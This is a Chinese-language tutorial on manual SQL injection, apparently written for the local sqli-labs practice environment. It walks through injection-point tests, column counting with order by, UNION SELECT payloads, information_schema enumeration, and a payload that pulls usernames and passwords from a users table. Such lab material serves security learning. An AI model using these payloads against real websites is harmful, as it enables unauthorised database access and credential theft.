从网页传入参数注入
这是SQL注入中最常见的方法,并且根据该注入原理有跟多SQL注入工具
同样,首先应测试是否存在注入漏洞,简单的:’ 或 and 1=1 and 1=2之类的SQL语句。
如果没有检测,直接运行SQL语句,说明有机会注入。
从参数注入,简单的测试方法是:
① http://www.xxx.com/index.php?id=2
② http://www.xxx.com/index.php?id=2' and 1=1
③ http://www.xxx.com/index.php?id=2' and 1=2
可以注入的表现:
① 正常显示(这是必然的,不然程序就有错)
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
注入具体步骤示例:
步骤:
1 先判断是否有注入点 and 1=1 and 1=2
2 再判断字段数量 order by x 如果页面回显正常,则字段数为 order by 后面的数字 http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
3 使用联合查询 union
用 union 语句查看当前是哪几位有效
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --+
4 根据有效位,更改这两位变量进行查询
1 select @@basedir 查询数据库安装路径
2 select @@datadir 查询数据库所在目录
3 select version() 查询数据库的版本
4 select user() 查询当前数据库的使用用户
5 select database() 当前使用数据库的名字
5 查看当前数据库里有哪些表
(补充:
Mysql5.0以上版本手工注入
Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库
information_schema.schemata:存储mysql数据库下所有数据库的库名信息的表 (字段名为 schema_name的字段值)
information_schema.tables:存储mysql数据库下所有数据库的表名信息的表 (字段名为 table_name:表名
条件为 table_schema:数据库名 )
information_schema.columns:存储mysql数据库下所有数据库的列名信息的表 (字段名为column_name:的字段值))
6 根据查询到的有用信息表user,想查看其表中有哪些属性即列名。
例如:http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+
7 查看users表里面具体的用户信息。
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,username,password from users limit 0,1--+
基本步骤:
一、找到注入点;
二、判断当前表的字段;
三、用联合语句查看哪几位是有效位;
四、查看当前数据库中有哪些表;
五、查看表中有哪些属性;
六、查看表中具体的数据信息。